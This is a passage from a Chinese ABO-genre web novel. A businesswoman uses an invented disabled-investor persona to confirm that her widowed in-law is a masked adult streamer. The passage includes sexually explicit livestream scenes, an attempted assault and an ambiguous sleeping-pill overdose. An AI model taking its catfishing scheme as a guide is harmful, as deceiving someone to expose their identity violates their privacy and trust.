如果真如她所料,LS是嫂嫂盛莲,不知为何,她内心些许不爽。
吴翠那些人竟然逼迫嫂嫂到这种程度?
那可真是……丢进李家的脸啊。
捏捏手指,李维京忍住嫌弃且复杂的情绪,点开LS的视频。
一开始,确如安娜所说,LS凭借身材罢了,僵硬到四肢紧绷。
随着更新时间久了,视频里的他风姿摇曳,散发着靡丽诱人的气息。
最近的视频。
LS胸口黑色围裙,系着一截细白的腰。
他俯身擦桌脚,露出流丽的腰臀曲线,围裙之下,腰以下,嫩白丰腴轻颤,像堆到面前的杏仁豆腐,春光乍泄。
然后,他抬起身,假装才发现视频在拍,惊惶掩唇。
雪白指尖如葱,抵住丰润红唇,只会让人想咬这一口热辣。
造作得不惹人厌,反而激发人心底最深处的施虐欲望。
饶是戴着面具,也没有人怀疑LS是个绝世大美人。
而愈发看,李维京愈发冷静。
杏仁眼幽幽映出屏幕里的春色,瞳仁深处幽深,只盯着一处。
嫂嫂盛莲他,腰侧有一朵小小的烫伤,像盛开的花朵。
那是过去的李维京无意窥见的。
十七岁时,李维京去探望生病的盛莲。
美丽的Omega静静躺在病床,脸色、唇色比床单更惨白,像是一朵即将枯萎的水莲。
当时盛莲二十二岁吧,李维京跟他不熟,从来只知道他是李佳姐姐的未婚夫。
而那时候,李维京好担心这个美丽精致的人死去。
她怀疑他是否只剩下一口气。
生平第一次,小Alpha知晓Omega是如此脆弱。
替他掖紧被褥,无意间,她窥到一片腰间腻白,像雪。
而雪上有朵绽放的艳丽花朵,像滴红泪,在起伏的细腻皮肤微微颤动。
等她收回眼,看到Omega睁开眼,眼眸寂寂,里面装满了自己。
在那一刻,小Alpha有些羡慕佳佳姐姐。
佳佳姐姐能跟这般美丽的人朝夕相对,会很幸福吧。
那时候,小Alpha以为未来是玫瑰色的长道,不知现实的残忍艰难。
·
视频查找失败。
LS风情多姿,露腰也多,但没有那处花一样的烫伤。
按理说,李维京该放弃。
可想到李莉莉竟敢那般挑衅,生意人的多思,让她不得不觉得还有隐情。
李莉莉是没
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脑子,但纯栽赃盛莲这事,又很没逻辑。
用专业软件分析一番,她查出视频有拼接、PS等元素。
PS掉腰侧花朵,那的确查不出。
就此放下,家宴却在十天之后。
十天之后,李莉莉那没脑子的挑事精肯定会闹事。
李莉莉看李维京不顺眼,只是碍于没本事奈何不了她。
但是她发现李维京对盛莲高看一眼,难免会生出挑事的心。
但愿李莉莉只是随意挑事。
不然,李维京会想最有效的办法让她痛不欲生。
现在,LS的真实身份,随时会如炸弹般引爆。
李维京必须查下去。
她燃起烟。
烟雾吐出,也扫不清胸中莫名烦闷。
指腹摩挲着打火机烫热的火口,按在按钮上的大拇指却迟迟未动。
做了几年商人,李维京知道利益优先,行动至上。
哪怕家宴李莉莉闹大,李维京自信可以撇清自己,也有过推波助澜从中取利的念头。
可到底,是家里事。
嫂嫂盛莲是她的家人。
家人之间却有如此多的秘密。
挖掘出盛莲他的秘密,李维京不确定自己会不会动其他心思。
噌一下,打火机点燃火苗。
幽蓝的火焰,包裹异样的金黄祸心。
杏仁眼映出这璀璨的金黄。
【你问LS平时开直播吗?】
【几乎不开。】
【啥?你还要他指定个人直播?】
【醒醒吧我的姐妹,他不接的。之前圈内多少姐妹砸钱求一场,他连私信都不回。】
【保持神秘也好,纯钓神也好,LS就是这般矜持。】
看着安娜的回复,李维京轻轻牵起嘴角。
以上回复,说明LS这个人缺钱,但道德底线很高。
缺钱的人很好对付,道德底线很高的人也好对付。
至于她的目的,自然有卑劣的办法达成。
13. 心之蚀(上)
走出直播间,LS来到休息室,蹲身取出仓储柜的白酒。
仰脖,一口气灌下小半瓶白酒,胃烧得厉害。
胃阵阵痉挛,他轻嘶出声,却没有用手捂住胃部。
LS需要这种疼痛。
在这种灯红酒绿的地方,唯有疼痛,才让他觉得自己活着。
“LS,老板有找。”
在这里,人人都叫代号。
把酒放回私人储物柜,LS起身,上楼走到老板的房间。
敲门三声,得到允许以后,他推门进去。
老板四十来岁,黑发浓密,画着精致眼线,依旧是个美人。
待他走近,老板皱了皱眉。
“你又喝酒了,LS。”
“不喝酒就没办法工作吗?”
老板站起身,侧身开窗,晨风吹进来,荡涤多余的酒味。
冷风扑脸,像是一个无声的耳光,扇得LS清醒几分。
他出卖自己,却连酬劳也得不到。
“只有喝酒,我才能麻痹自己做下去。”
他语调轻轻,边说边笑。
脆弱笑声跌在地上,碎成一片又一片的玻璃渣。
女老板抿了下红唇。
念及他的业绩,还有背后这笔新晋业务,她忍住不悦。
“有位投资人指定要你跟他聊聊。”
“不。”
想也不想,LS脱口而出。
意识到语调强硬,他缓了缓,反复强调当初签订的合同条款。
“一开始说好的,不接私人活,不跟人接触。”
“这位不一样。”
这话只让LS心存戒心,眼神警惕。
他长得极美,纤眉入鬓,眼睛汪一泓水,春漾漾。
饮了酒的唇湿红,诱人欺身相吻。
老板偶尔路过他直播,见红绿光中,他腰肢摇曳。
再见他咬唇蹙眉,表情婉转得忍耐,濡湿鬓角散乱,简直一副活色春宫。
那时,老板会遗憾他不露脸,也暗自心生窃喜,这般风情还是藏在眼底心里最好。
为这诱惑风姿和极美容貌,老板一般也顺从他不露脸。
一想到背后投资人出手大方,她又毫不犹豫地推他出去。
“这两个月经营困难,我都发不起各位的酬劳。而现在,这投资人肯给我们大笔钱渡过困难,要求也不过分。”
“而且,你就线上聊聊天罢了。”
说着,她拉开一旁抽屉,拿出一个信封。
里面是一沓厚厚的钱。
这种行业,直接见现钱,比打鸡血更重要。
深谙这道理,老板把钱塞给LS。
“你前两天不是说生活紧张吗,当时我还凑不到这些钱,现在好了,我们有钱了。”
“来,给你。”
LS低垂眼,睫毛颤得厉害。
他缺钱,必须收下。
可是……
“只是聊天而已?”
良久,他轻声问道。
老板点头,露出志得意满的笑容。
·
剩下半瓶白酒,LS仰脖喝下,然后坐到电脑前,登录自己账号,打开私信。
无数私信淹没屏幕,陌生人们无所不用其极,用钱、用情妄图打动他,求见他一面。
休想。
屏幕幽光,LS眼瞳春水轻漾,眸中有一星光亮。
他不允许自己真的堕落。
无数信息,他翻找投资人讯息也费了十来分钟。
打开来,简短两个字。
【你好。】
LS回以问好。
【抱歉,冒犯了。】
言辞彬彬有礼,可LS压根不信。
直播如欢场,在此他见多了翻脸不认人。
何况,他前半生多受欺辱,对陌生人始终有深深怀疑。
没等他眼中警觉消失,那边又发来对话。
【春天到了,路边樱花盛开,灿烂如云霞,很美。】
【路边樱花.JPG】
突如其来的话题,LS想想,附和半句。
【樱花很美,但没有香气。】
他偏不想如他愿。
可等消息沉寂,没有回复之后,LS又惴惴不安。
他点开投资人发来的图片,樱花开在窗外。
从镜头的聚焦来看,拍摄者估计是坐着的。
【说的也是。大多数樱花都没有香味。】
聊天框传来新的回复。
【天气很好,放风筝一定很好玩。】
【对了,你会放风筝吗?】
这个投资人童心无限,对日常事务非常好奇,问题一个接一个,连路边的投币娃娃机都感兴趣。
他似乎不怎么出门。
LS没有放松警惕,任何涉及自身问题都含糊带过。
半日聊天过去,LS松了口气,不看老板询问脸色,借口有事离开。
翌日,他接到老板的电话。
“你过来,投资人送了你礼物。”
“人没来,只是托人送了樱花和风筝过来。”
老板最后一句话,是为了打消他莫名的警惕。
LS百思不得其解,去了一趟。
一丛樱花枝如新裁霞光,捧在怀里,周遭春光也亮了几分。
一只半人高风筝,金鱼造型,两只黑色眼睛大而圆,童趣味十足。
随风筝递过来的,还有一张信笺。
歪歪扭扭的字体,像极了小学生新学的字体。
“春光正好,请你帮忙放风筝,好吗。”
低头,他嗅见樱花盛放的清甜香味,讶然。
“这是?”
“这是椿寒樱。”
“送花的人说,樱花无味到底可惜,特意挑了这花送来。”
接话的,是个老妇人。
LS看着怀中的樱花,一片摘下的绯云散发清香,像是小时候吃到的棉花糖。
“他……”
一时,他也不知道为什么对素未谋面的投资人好奇。
可能是他说话做事,不伤害他脆弱的自尊。
老妇人装束普通,但言谈举止和蔼又体面。
“送花的那个人说,他不是态度轻慢,或欲擒故纵,只是身体缘故没办法来。”
“对此,他感到很抱歉。”
凝目看了会字体,LS轻声道:“她是女性吧?”
“嗯,一个女Alpha。但她请求你不要害怕,因为不会出现在你生活里。”
话只说到这,老妇人告辞。
目送她离去的背影,LS发了会呆。
“刚才我跟这老婆婆聊天,她说自己是投资人的管家。”
“我也担心投资人品性,刚才套了话,老婆婆偶然透露,投资人出了一场车祸,半身瘫痪。”
“你不用担心她会对你图谋不轨了。”
听到老板的话,LS抱了抱怀中的花。
回去的路,他背着风筝抱着花,引来无数人的围观。
而他不管,嘴角带笑,怀抱樱花丛,像是怀抱一个隐秘的秘密。
半夜,LS做了一个失而复得的梦。
梦里,他恢复成盛莲的身份。
在机场,盛莲去送别,梦中女Alpha还是少
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年模样,抓住他的手。
“嫂嫂,跟我走吧。”
他清晰地记得,自己缩回了手。
因为那双杏仁眼里,没有任何情爱的痕迹。
梦里他醒不过来,反复做着这个梦。
“嫂嫂,跟我走吧。”
“嫂嫂,跟我走吧。”
无数次的梦境重启,他最终还是只能站在机场门口,眼睁睁看着心爱的女Alpha穿过登机口,头也不回。
在梦里,他眼睁睁看着,绝望到哭不出来。
而梦境骤然变幻,跳到更早的时间点。
女Alpha一家三口遭遇车祸,父母双亡,她则落下个半身不遂。
梦到这里,盛莲陡然一激灵。
他转身想要逃离梦境,怕得穿过无数门,喊叫无数次,却也叫不醒自己。
某次逃跑,他突然停下脚步,意识到这是多年前的一个梦。
几年前的梦,跟现在的梦接续上了。
那时候,面对维京的请求,盛莲不敢点头答应。
目送她离去以后,他绝望到夜夜噩梦,睡不着。
某晚,盛莲做了这个梦。
与现实有别,他却睡得异常安稳。
醒来,他无法面对自己梦之阴暗,拼命熬夜,不敢睡。
找上心理医生,是在一个月以后。
彼时的盛莲中度抑郁,向医生讲起自己的梦。
“我……不愿意她离开,所以在梦里宁可她出车祸落得半身不遂。”
最终,他喃喃自语。
爱之阴暗,不过如此。
心理医生慈悲地笑了笑。
“至少,你没有在现实里这样想过,或者尝试去做。”
这句话,终于让盛莲如释重负。
后来他不再做这个梦,便以为自己忘却这个念头。
原来,他内心依旧如此希冀。
理智上,他知道自己不会伤害维京;感情上,他知道自己这份爱的无望。
他只能偶尔做做梦,想象维京离不开自己。
而在现实里,有了一个类似梦境的人。
他爱维京,可维京不曾回头看过他一眼。
为了他那时的怯懦,他彻底失去了跟维京同行的机会。
而现在,一个半身不遂的女Alpha出现,像梦境般在补偿他失去的一切。
盛莲不会爱其他人,但是,他太绝望了。
每日醒来,他都清醒得意识到:维京不会爱他。
而现在,他那糟糕的梦境成真了。
也许,他可以稍微转移视线。
·
递上银行卡,李维京表示辛苦了。
老妇人接住卡片,放进背包里,点头离去。
女Alpha整理脑内计划,发现只实施到一半。
家宴在即,她原本只想简单粗暴砸钱让女老板透露LS的真实身份,奈何女老板底线仍在,死活不松口。
于是,她假借投资,捏造了一个半身不遂的女Alpha身份。
做戏得一点点透露,一下揭开让人心生疑窦。
从聊天的樱花照片、送礼的手写字体、老妇人言语的点到为止以及无意透露给老板的消息,她都一一谋划。
做生意筹谋的滴水不漏,用在这里,李维京竟也不觉大费周章。
“哎别笑了别笑了,你笑得好像个大反派啊,我渗得慌。”
安娜抬手搓搓胳膊。
她不知维京脑内筹划,单纯觉得她现在的笑容可怕。
李维京挑了挑唇,漫声道:“哪有。”
接下来,她要去验证那个猜想了。
14. 心之蚀(下)
后来的几天,盛莲快乐得不像话。
每天登陆网黄账号后台,他都在跟女Alpha投资人聊天。
偶尔也分享日常。
比如看了一部相同电影,两个人分享感想。
电影的最后,女主为了掩埋男主的错误,选择挖坑把自己藏起来。
海岸,潮汐来临,女主一点点被砂和水淹没。
潮水拍打岸边,沙坑被填满。
作为警督的男主拼命寻找女主,呼喊着她的名字,却不知道,她就在他脚底。
她成了他一生无解的悬案。
“会有这样的情感吗?”
“我不太理解。”
面对投资人女Alpha的疑惑,盛莲难过得笑笑。
“我完全懂。”
“隔着致命的误会、社会身份,他们没办法在一起。”
笔记屏幕跳跃出一个备忘录提示。
【距离家宴,还有五天。】
盯着这行备忘录字体,盛莲久久发呆。
等醒神过来,他习惯性解开手机,社交平台上,没有收到任何维京的消息。
维京的消息,他都回复得很快。
可他爱着的女Alpha,平时很少传消息过来。
维京有广袤的天地,无数国家地区可以去,而盛莲只能待在原地。
想到这,盛莲不死心地再看一眼,聊天界面空空如也。
打了几个字,又全部删除。
自从那天得知维京跟别人有了肌肤之亲,他就没办法再面对她。
生气、懊恼、痛苦,种种纠结,他无法说出口。
盛莲也曾想过以长辈的关心,说出糟糕情绪,再打探详情。
可他学不会对维京使用任何心机,只能暗自懊恼、暗自纠结,自己跟自己较劲。
熄灭手机。
恋恋目光慢慢挪开那小小的方框屏幕,看向笔记本的聊天后台。
这一刻,他至少可以通过跟别人交流来缓解无处安放的思念。
“你很向往强烈的感情吗?”
投资人问道。
盛莲想了又想,敲下想法。
“如果我爱得那么绝望,又无法在一起,会希望那人遭遇意外。”
“比如腿断了走不了,这样我就可以待在那个人的身边照料。”
“她就不会离开我了。”
敲完这段话,他手指停顿。
很快,一滴水落在他敲键盘的指尖。
指尖微颤,承接了这滴泪水。
如此糟糕的想法,如此糟糕的……自己。
因爱而起的饥渴,因爱不得的绝望。
那边,投资人的回复姗姗来迟。
“我没有想到,你会有如此强烈的情感。”
擦拭指尖的泪水,盛莲微微苦笑。
“也许在你看来,我不过是个出卖色相的网黄。”
“你不会觉得我有什么特别。”
“但我,也会爱人。”
回复迟迟没来。
等待中,盛莲忽生烦闷。
其实,他讨厌等待。
在他眼里,等待与忍耐没什么不同。
而在生活,他要拼了命的忍耐,才能勉强像个人一样活着。
合上笔记本,盛莲不再忍耐。
将手机关机,他也不再等待。
卧室,跌进床褥,在无爱的绝望里,男人阖上双眼。
天黑得很快。
·
半夜惊醒,盛莲坐起身。
他意识到自己又在做那个梦。
无处安放的想念、无爱的绝望,将梦境彻底扭曲。
他梦到心爱的女Alpha真的残疾,成了那个投资人。
屏幕那头,是维京在跟自己聊天。
他呆呆地,脸埋在夜浸透的深蓝。
梦境仿佛在向他告密。
盛莲下了床,几乎是奔到笔记本前,打开后台聊天框。
【你还在吗?】
【我在。】
看见回应,盛莲打了几个字,想要问清。
最后,一个字一个字地删除。
鼠标点向录像机的图标。
是视频通话。在网站属于网黄与个人之间的私人直播。
一狠心,盛莲点了下去。
黑漆漆的屏幕,未亮起,便已被挂断。
【这是?】
那头疑惑不解。
盛莲颤抖地打下字。
【我太寂寞了。】
盛莲承认自己是个可堪玩弄的,比承认自己那份痴心妄想更容易。
屏幕那头,李维京沉默地看着最后一行字。
这是嫂嫂陌生的一面,像幽暗黑夜的糜烂美丽花朵。
越了解作为网黄的LS,她越不确定他是嫂嫂盛莲。
种种迹象,像是盛莲。
那份倔强是他的特征,可对爱的疯狂与绝望,又是她万万没想到。
失去李佳姐姐多年,还是不能忘怀吗?
抿紧嘴唇,李维京打心眼不算高兴。
她不高兴,从不给自己找罪受。
【我不愿意暴露镜头前,但是又想看LS你的表演,怎么办?】
这话说得又无辜又真诚。
而盛莲看着,竟微微一笑。
他始终把投资人当心爱女Alpha的代餐,这语气像极了她。
【没关系。】
【我播给你看。】
说这话时,就像是对维京说,盛莲他心甘情愿。
再次按下那个录像机图标。
基于习惯,他戴上面具。
面具装饰羽毛,露出眼睛、下颌。
精巧雅致的下颌,线条流利如神来之笔。
红润的唇微微颤抖。
是因为自己这一刻的不知羞。
强烈的羞耻吞噬着盛莲,他清楚得知道这不是直播间的录像,是一场面对个人的直播。
在这里,所有
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的脚本没有用。
而他,被镜头里的人凝视着。
透过镜头,那个女Alpha端详着他的下巴、嘴唇,镜头会往下,脖颈、胸口、腰身……
在想象对面的人是那个心爱的女Alpha之后,盛莲下颌止不住的颤,说不出是兴奋或羞耻。
他身体沁出薄汗,泛起光来。
【哎呀,真是个没用的小家伙。】
镜头那头漆黑一片,唯有文字彰显着她在认真欣赏着盛莲的窘态。
【接下来,你要怎么取悦我?】
言语的鞭子,轻轻抽着盛莲。
灭顶的羞耻快漫过他整个人,可是无端堕落的快乐又托着他上来。
丝绸长衬衫前方打了蝴蝶结,他解开蝴蝶结,拎着两截长长的白绸扭动,腰肢款摆。
纽扣解开,露出脂白细腻的腰。
蛇般柔媚的腰身,腰间一朵似花的烫伤。柔白的手指抚上它,盛莲想象是自己被一掌锢住。
蛇一样的腰身游走,展览无暇身子唯一的瑕疵。大拇指指腹缓缓绕着这透红的花朵打圈。
想象是另一只熟悉的手在绕着它摩挲。
盛莲微阖眼,说不上的空虚,让他忍不住深深按住烫伤处。
陈年旧伤愈发红糜,像是过于艳丽的花朵。
他嘴唇微张,眼神迷离,又痛又爽。
在看到腰间花似的烫伤时,如泼冷水,李维京醒神过来。
这一幕幕春色,她再无福享受。
自己的验证得到证实:LS就是盛莲。
可她没有谜题解开的一丝喜悦。
看着视频里卖弄姿色的人,她乱如麻,理不清任何头绪。
只知道镜头的那人,越堕落,越美丽。
然而,她不解。
镜头前,已经结痂多年的伤口,痛也不会痛。
连想象也不够真。
盛莲进行着表演,却无法全身心投入。
镜头那头,到底不会是那人。
梦境也许不过是颠倒的现实,是克制不住的疯狂想念编来骗自己的。
“嫂嫂?”
镜头那头,熟悉的语音传来。
一瞬,盛联整个身体僵住,停止动作。
他疑心自己幻听。
吞没的羞耻感让他神经搭错线。
他选择摘下面具。
他露出整张脸,面对着镜头。
“嫂嫂。”
视频那边,第二声呼唤,再次响起。
略带无奈般。
盛莲浑身在抖,羞耻感彻底淹没了他。
——维京在看他卖弄风情。
意识到这个事实,他胸口抖得更厉害。
胸前心花绽开,像樱花盛放。
灭顶的感觉再次袭来。
这次,不仅是羞或惧。
还有难以言说的,快意。
越堕落,越快乐。
镜头的最后。
白衫落地。
15. 第 15 章
联系直播公司老板,李维京想直接调取LS的真实资料。
为此她加重投资,评估其公司产值,拿出几百万的现金流,只提出这么一个条件。
奈何这公司老板,虽来路不正,却也不肯掉尽最后一丝底线。
“真要透露真实信息,以后哪有人愿意跟我签约做这个。”
在商言商,李维京觉得这女老板做法也对。
这个方案作罢,她立刻做处第二个方案:利用假身份接触LS,骗取信任,打探其真实身份。
“最好不要这样做。”
面对她的第二计划,电话里的安娜提出忠告。
“为什么不?”
李维京不解。
作为商人,她不折手段达成目的,那也是很正常的。
“如果LS不是,那你在冒犯一个陌生人;如果LS是你嫂嫂,那你是在冒犯他。”
“将心比心呀。如果有人这么对你,会怎么样?”
“会生不如死。”
李维京答得简单,但霸气。
不疑有假,安娜怕得忙搓胳膊骤起的鸡皮疙瘩,不敢吱声。
而在她的举例中,李维京慢慢回过味来。
“你是说,我没有把嫂嫂当一个独立的人来看。”
“怎么说呢,你们直女Alpha是这样。”
安娜轻快地答道。
比起她的轻松,李维京久久沉思。
过了好一会儿,她语气闷闷:“嫂嫂他,有两天不回我消息了。”
点燃一根烟,烟丝呲呲燃烧,轻微的声音伴着李维京漫长的心绪。
电话那头,安娜鼓励她直接上门找盛莲,理由是“亲人的隔阂很容易打破”。
两指夹烟,李维京低头,看着烟灰逐渐枯焦。
安娜的家是巨富周家,父母恩爱待她极好,且对外强势,不容亲戚染指主要商业。
她人通透,既无才能做生意,便搞搞人脉,且知好歹,乐得快活逍遥。
如果李家没有落魄,或者还有个好人,李维京非常愿意跟安娜当亲人。
只可惜,如果只是如果。
现在,她唯一认可的亲人,也不理她。
那日盛莲等她回家,说了几句话,很快又走了。
至此,再也不见人。
这两日,她忙着处理李莉莉做的AI视频,等想起来联系盛莲,他消息不回,电话不接,音讯全无。
公寓落地窗外,下方一片辽阔江景。
已是傍晚,无数灯亮起,散落江两岸,像是古老的枫船渔火。
客厅没有开灯,角落一盏落地灯光线幽暗。
香烟呲呲燃烧,即将到尽头,一星火光明灭。
李维京撑头看着,在香烟燃尽时站起来。
取下衣架大衣,女Alpha承认,她放心不下他。
·
幽蓝的夜,如深海海水,漫过了整个房间。
盛莲睁眼醒了过来,脑袋昏沉,吃力地翻了个身。
一条胳膊甩出去,打翻床边的白色小药罐,无数白色药片洒落。
勉强撑起胳膊,盛莲坐起来。
抬手按住肿胀的太阳穴,他慢慢回想起来。
那日,得知维京跟人有了肌肤之亲,不能接受的他,借口离开狼狈逃离。
痛苦纠结之下,他不知道怎么办,突发洁癖,将客厅、厨房、卧室、卫生间等卫生打扫一遍,被单床褥衣服也洗了晾干,沙发套电视套也重新洗刷,冰箱更是强迫式的摆放,开了关,关了开,足足整理了三遍。
打扫完,天色从昼到夜。
他呆呆坐在沙发上,手里拿着刷万鞋的刷子,不知道下一步该做什么。
倒到床上,翻来覆去半宿,盛莲发现自己睡不着。
他轻车熟路地打开家庭药箱,取出里面的安眠药,药片哗哗摇晃,被倾倒出来。
一片、两片、三片……多了几片。
盛莲看着,仰脖吞下,一饮而尽。
到现在,他说不清自己是故意或是无意,只感觉自己睡得很沉,也睡得很久。
手机电量微弱,百分之五,进入了省电模式。
抬不起疲乏得胳膊,盛莲便没有选择解锁手机。
静静坐在床头一会,他下了床,意识到大清扫时忘了清理一样东西。
勉强站起来,他走进卫生间,褪下衣衫,打开淋浴头。
一任冷水淋湿浑身。
他要清洗的,还有自己。
以及卑怯的、阴暗恋慕着维京的这颗恋心。
双指捂脸,流水从手指缝隙流淌下来。
盛莲只觉眼眶酸涩。
搓洗了很久,搓得皮肤变红,感觉到疼痛,盛莲才住手。
门外似有动静。
他擦干穿好衣服,开卫生间门,这才清晰地听到门铃在响。
天色蒙蒙亮。
这般不顾及时分到来的人,很少见。
原本沉下去的心,又如浮花飘上来。
“来了。”
盛莲急急去开门,嘴里的名字刚成型:“维——”
打开门,不是他想到的那个人。
粉色卷发、唇钉,白色小背心,牛仔小短裙,打扮夺人眼目。
是李莉莉。
“你心里只有李维京啊。”
粉发女孩面色不善,挑了挑眉。
如果维京做这个不满挑衅的动作,那是风流潇洒;
可眼前人做,盛莲只觉得敌意满满。
弯起的唇角僵住,他笑也不是,不笑也不是。
最终,只得慢慢垂下嘴角,尽量平静地注视着不速之客。
“请问找我什么事?”
他问得十分客套。
李莉莉不满地瞪了他一眼,径直推门进去。
“你这人太没礼貌了,就让我在门口等着。”
她嘴上数落着,不脱鞋进了屋。
擦肩时,盛莲闻到她身上酒味,以及Alpha一丝掠夺的味道。
一个Omega,是不能跟侵掠气质强烈的Alpha关在一屋。
盛莲选择敞开大门。
李莉莉抱胸踱步,环视这间房子,嘴上不忘说话。
“说起来,这还是我们家给你的房子。”
“不。”
盛莲轻轻摇头,“是我自己的房子。”
李莉莉霍然回头,眼神极为不满。
可是外表美丽娇弱的Omega,说话字字清晰:“房产一开始的确属于李家。”
“我一点点攒钱,一点点还账,用了九年,终于买下这房子。所以,它是我的。”
房子位处四五环,又是二手房,买卖金额不算贵。
就算这样,盛莲用了九年,终于有了自己的家。
“九年?”
李莉莉却抓错重点,细细一琢磨,脸色大变。
“当时你二十岁,那时候就想脱离我们家!那时,我姐还活着!”
她咬牙切齿地看着他,领会到他那不该有的背叛。
“我姐还活着,你就想离开她了!”
“对此,我很抱歉。”
面对李莉莉莫须有的指责,盛莲语气不算激动。
他低垂眼,不愿回忆从前,而背脊的旧伤隐隐作痛。
“哦?”
李莉莉被气笑了。
“当着李维京,你不敢这么伶牙俐齿吧,盛莲?”
“在她面前装得柔柔弱弱,楚楚可怜,骗取她给你好处,很有一套嘛。”
“在她面前,你敢这么撇清自己跟我姐的关系吗,不敢吧?”
“你还得靠着我姐的关系,跟李维京卖惨呢!偏偏她就吃这套!”
李莉莉又是挖苦,又是羞辱。
盛莲只默默听着,听到她说最后一句,才分辨道:“维京不是那样……”
“停停停!”
“还维京!你也不想想自己什么身份!”
“我姐李佳可是李维京的堂姐,按理说你就是李维京她的堂姐夫,从前她小,一口一个嫂嫂叫你,没人管,结果大家都默认你是她嫂嫂。”
“现在,她叫你嫂嫂,还照顾你过了头,外面已经开始说闲话了!”
“说什么?”
但凡有维京的消息,盛莲总会下意识了解。
他微微抬眼,看着李莉莉。
洗浴过后,脸嫩嫩的,下颌尖尖,像月牙。
小小的一牙,皎洁明亮,让人想要碰一碰。
光看脸,谁能想到这男人年近三十。
看着这张姣美的脸,李莉莉有点心猿意马。
可盛莲怎么老是关注那个李维京,难道自己真的不如她?
想到这,她愤怒冲脑,双手抱胸冷笑不停。
“你真想知道?”
“说她心思不简单,说是照顾寡妇,实际想玩你!”
咯一下,盛莲喉咙吞咽,脸忽然涨红。
肮脏又粗俗的说法,像口唾沫喷脸,令人羞耻。
可又唤起隐秘的受虐欲。
“真的吗?”
过了好一会儿,他轻声问道。
灯下,盛莲耳朵红透了,粉嫩又脆生,像是虾片,想叫人一口咬下。
见此美色,李莉莉跟李维京攀比的心都弱了几分。
她吞咽了下口水,忍不住释放自己的信息素。
她的信息素辛辣,像烧焦的薄荷。
沉浸于脑海某种想象的盛莲,鼻尖轻动,嗅见这陌生的味道。
辛辣味刺激着他脑海的画面,他脸红如软玉,眼眸也化为软汪的春水。
额发一滴水落下,顺着秀挺鼻梁缓缓落下,最终滚落到他唇上。
微张的嘴唇,滚落的水滴,嫩红唇珠乍现。
柔软嫩红的唇珠,藏在唇
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齿之间,小小的一粒,直教人想用拇指盖顶上撬开,作弄、逗弄它,弄得它变大变深,变成一颗搔首弄姿的风韵果实。
想到这,李莉莉的眼神变深。
脑内窒息加深,盛莲猛地抽一口气,缓过神来。
糟糕的想象,令他脑内漫过欢愉,脸如水晶,红得剔透。
刚才洗澡还没擦干净,现在又湿得一塌糊涂。
朦胧眼神慢扫,眼皮上的小红粒越发红,勾人得紧。
可这时,这目光撞上李莉莉,冷不丁清醒过来。
“你该走了。”
他哑着声,说出驱逐令。
李莉莉又被气笑。
且不说他的无理取闹,此时盛莲哑着的嗓音低低的,鼻音微勾,像是猫爪伸出柔软的肉垫,诱人至极。
这时,盛莲才觉危险。
女Alpha辛辣的薄荷信息素,扎得他手脚发麻。
他努力挪开步子,往大门走。
看着这狼狈的身影,再看他潮红的脸,湿润的眼,李莉莉认为自己已经用信息素征服了这貌美Omega。
现在他这无力的挣扎,别有一番滋味的欲拒还迎。
李莉莉玩心大起,拿着手机追上去。
一个壁咚,拦住盛莲逃亡外面的路。
“现在,看点小视频助助兴。”
说着,她打开那个AI合成的网黄视频。
“说实话,我总觉得这网黄像你,只可惜他不露面。”
盛莲急促喘着,手脚发软。
他懊恼自己刚才的反应迟钝,一听见维京的消息,就挪不动道。
可外人说他跟维京有颜色闲话,他好高兴。
传言再不堪,那也是维京的名字和自己的名字联系到了一起。
面对李莉莉的拦路,抵在墙面的盛莲双脚发软。
李莉莉的信息素有影响,最主要是经过刚才的脑内刺激,他手脚虚软,根本没什么力气逃。
只要蛛网叫李维京,自己就傻得是个投网的蛾子。
他自嘲地想。
至于李莉莉手中视频,他随意看了一眼,唇色变白。
眼睛默默挪开,唯有表情强装镇定。
紧紧盯着他的李莉莉,感受到猎物的软弱。
“喂我问你啊,这网黄不会真是你吧,盛莲?”
李莉莉看似没头没脑的发言,却直戳重点。
盛莲紧紧抿住唇,脸扭到一边。
仿佛有了答案,李莉莉扯出一个邪恶的笑容。
“我可是把这个视频发给李维京观赏了。”
一听名字,盛莲撇到一边的头微动,紧珉的嘴唇松动了下。
只要是李维京,他就傻得愿意咬钩。
无论情况再不利于他自己。
看这反应,李莉莉再不懂,也觉得闹心。
“这李维京给你灌了什么迷药啊?”
“明明是我姐的遗物,怎么你那么偏向她呢?”
说着话,她手上也在动。
扯住盛莲浴袍的腰带。
这时的盛莲身着浴袍,一截丝带系住细腰。
在逃离挣扎中,腰带松垮,浴袍下的肌肤微露,锁骨沾薄汗,随着呼吸起伏。
腰上一紧,盛莲睁大眼,扭过脸看向李莉莉。
在看到粉发女Alpha脸上得意洋洋的笑,他脸上的震惊淡了不少。
“住手吧。”
“就算你这样做,我也不会像你想得那样害怕到痛哭流涕。”
盛莲突如其来的冷静口吻,让李莉莉戏弄的动作一停。
他脸色平静,不再害怕。
她有点闹不明白,只觉得恼怒。
“这语气……”
她咬着牙说道,“我怎么觉得那么像李维京。”
盛莲没有说话,只是看着眼前的粉发女Alpha,仿佛不是她在欺负他。
他看着她,只是在看李佳的妹妹。
他不是十九岁,是二十九岁。
那些对美貌Omega的骚扰、戏弄,他时时遭遇过。
盛莲会觉得恶心,也会觉得困扰,可是打心底,他不觉得自己会屈服。
他的心,只属于一个人。
再恶心的猥亵、侮辱,也不能让他的心倒向其他人。
二十九岁的李维京,只有面对维京,才会自乱阵脚。
“你都这样了,装什么贞烈啊?”
“是不是只有李维京来睡你,你会立刻塌腰、翘起屁股等着她?”
李莉莉彻底破防,用彻头彻尾的脏话骂眼前的男人。
说着,她的手恶狠狠地一抽,丢掉那根细细的腰带。
男人浴袍敞开,纯白肌肤如一滩流淌的牛奶。
眼看她的手要钻进浴袍底下,一股刺骨的冰雪扑面而来,冰封千里的凛冽冻住多余的动作。
“李莉莉,你狗胆真大。”
16. 第 16 章
冬雪玫瑰高冷凛冽,气味不容侵犯。
分明也是Alpha,李莉莉瞳仁震动。
刺骨的寒冷不容拒绝地进入她的肺腑。
一呼一吸,李莉莉都感到胸腔刺痛,像是一株扎根心底的冰霜玫瑰在茁壮成长,下一秒,就能刺穿她的肺腑,从皮肉里翻出来。
她怕得浑身僵住。
维京一掌拍在她肩上,推开她,冷冷地看着她。
一旦不笑,形状优美的杏仁眼黑瞳凸显,黑森森的,极为不详。
在这森冷的目光中,李莉莉下意识挪开目光,嘴上犹不服输。
“干、干嘛啊?”
嘴硬了一句,她肩膀瑟缩,不敢往前一步。
目光闪躲着,粉发女Alpha无意扫了眼盛莲。
他微微侧身,慌忙用双手拢住敞开的浴袍。
